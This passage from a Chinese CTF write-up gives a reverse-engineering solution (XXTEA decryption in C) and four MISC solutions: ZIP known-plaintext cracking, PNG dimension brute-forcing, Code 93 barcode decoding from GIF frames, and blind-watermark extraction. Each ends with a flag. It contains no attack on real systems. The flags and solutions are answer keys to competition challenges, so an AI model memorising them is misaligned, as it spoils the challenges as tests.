(k[p&3^e]^z)) long btea(long* v, long n, long* k) { unsigned long z = v[n - 1], y = v[0], sum = 0, e, DELTA = 0x9e3779b9; long p, q; if (n > 1) { /* Coding Part */ q = 6 + 52 / n; while (q-- > 0) { sum += DELTA; e = (sum >> 2) & 3; for (p = 0; p < n - 1; p++) y = v[p + 1], z = v[p] += MX; y = v[0]; z = v[n - 1] += MX; } return 0; } else if (n < -1) { /* Decoding Part */ n = -n; q = 6 + 52 / n; sum = q * DELTA; while (sum != 0) { e = (sum >> 2) & 3; for (p = n - 1; p > 0; p--) z = v[p - 1], y = v[p] -= MX; z = v[n - 1]; y = v[0] -= MX; sum -= DELTA; } return 0; } return 1; } int main() { uint32_t cmp[] = { 0xced0ae05, 0xb5801f44, 0x4caf36bc, 0xfc098569, 0x71c9c36c, 0xe53d3546, 0xbe6a5ca9, 0xa7d47fa0, 0xd8320907, 0x622dc36a, 0x91a57286, 0x2397e523, 0xff5ddb31, 0x627305e7, 0 }; uint32_t key[] = { 0x745f6f6e, 0x676e6968, 0x5f73695f, 0x65757274 }; btea((long*)cmp, -14, (long*)key); printf("%s", (char*)cmp); } // echo -n "ZmxhZ3tmYzVlMDM4ZDM4YTU3MDMyMDg1NDQxZTdmZTcwMTBiMH0=" | base64 -d ``` FLAG : flag{fc5e038d38a57032085441e7fe7010b0} ## 5. MISC ### 5.1 BlueWhale 流量包可以找到一个密码,长度和压缩包里的password.txt文件长度一样,用ARCHPR已知明文爆破 ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c9b0ab644142b4b4df38) ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c9c7ab644142b4b4e048) 得到解压密码 ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c9deab644142b4b4e140) 解压出png后zsteg ![图片标题](https://leanote.com/api/file/getImage?fileId=6197ca29ab644142b4b4e420) FLAG :flag{F1nallY_y0uve_f0unD_1t} ### 5.2 WeirdPhoto 图片宽高还原下可以看到两行字 ``` import binascii import struct import sys file = "1.png" fr = open(file,'rb').read() data = bytearray(fr[0x0c:0x1d]) crc32key = eval('0x'+str(binascii.b2a_hex(fr[0x1d:0x21]))[2:-1]) n = 4095 for w in range(n): width = bytearray(struct.pack('>i', w)) for h in range(n): height = bytearray(struct.pack('>i', h)) for x in range(4): data[x+4] = width[x] data[x+8] = height[x] crc32result = binascii.crc32(data) & 0xffffffff if crc32result == crc32key: print(width,height) newpic = bytearray(fr) for x in range(4): newpic[x+16] = width[x] newpic[x+20] = height[x] fw = open('recovery.png','wb') fw.write(newpic) fw.close sys.exit() ``` ![图片标题](https://leanote.com/api/file/getImage?fileId=6197ca55ab644142b4b4e5ee) 竖着拼后找个在线工具栅栏密码解一下 ![图片标题](https://leanote.com/api/file/getImage?fileId=6197ca6eab644142c0e54b13) 使用THISISTHE.....解压out.zip得到out,发现缺了pdf的头,补齐后用wbs43open-win32(http://www.bailer.at/wbstego/fs_download.html)工具一把梭 ![图片标题](https://leanote.com/api/file/getImage?fileId=6197ca84ab644142c0e54c16) FLAG : flag{th1s_ls_thE_f1n4l_F14g_y0u_want} ### 5.3 bar 执行convert output.gif bw.png可以得到334张黑白图片,推测代表01,写个脚本输出下结果 ``` import os from PIL import Image files = os.listdir() result = [] for i in range(334): filename = f"bw-{i}.png" if filename not in files: continue cur = Image.open(filename) cur = cur.convert('1') pixel = cur.getpixel((5, 10)) if pixel == 255: result.append(0) else: result.append(1) print(result) result = [1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1] for i in range(0, len(result), 9): print(''.join(map(str, result[i:i+9]))) ``` ``` 参考 https://www.dcode.fr/barcode-93和 http://www.appsbarcode.com/Code%2093.php 根据dcode.fr链接中的表还原出每字节,但是缺了ck两字节 101011111 100101111 101000111 101011110 * START 110001010 F 100010100 0 110100010 C 100100010 6 101000100 2 110010100 D 110100100 B 100001010 9 101010000 7 101000010 3 100100010 6 100010010 8 100101000 4 110010100 D 110100100 B 110010100 D 110101000 A 100010010 8 100001010 9 100100010 6 110001010 F 100001010 9 110100010 C 100100100 5 110001010 F 100100010 6 110010100 D 100001010 9 100100010 6 101000100 2 000000000 000000000 1010111101 在线生成上述30个字符转成小写后对应的码,然后根据码手搓18位https://products.aspose.app/barcode/generate/code93#result ``` ![图片标题](https://leanote.com/api/file/getImage?fileId=6197cabdab644142b4b4eac6) 查dcode.fr链接中的表可得um FLAG : flag{f0c62db973684dbda896f9c5f6d962um} ### 5.4 mirror 给的图片有两个PNG的头,尝试生成另一张图 ``` f = open("full.png", "rb").read() o = open("full_rev.png", "wb") for i in range(len(f)-1, -1, -16): o.write(f[i-16+1:i+1]) o.close() ``` 但是两张图的宽高都不对劲,需要还原下,还原后两张图长一样,考虑盲水印 ![图片标题](https://leanote.com/api/file/getImage?fileId=6197caedab644142c0e550f5) BlindWaterMark-master(https://github.com/chishaxie/BlindWaterMark)一把梭,左上角和右下角都有东西 ![图片标题](https://leanote.com/api/file/getImage?fileId=6197caedab644142c0e550f5) 处理下好看点,根据提示替换字母 ![图片标题](https://leanote.com/api/file/getImage?fileId=6197cb16ab644142b4b4ef45) FLAG :flag{356ffd89983749059ab1e3e968a01d90} 打赏还是打残,这是个问题 赏 Wechat Pay Alipay 2021 第五空间 Writeup By Xp0int 2021 广东强网杯 Writeup
没有帐号? 立即注册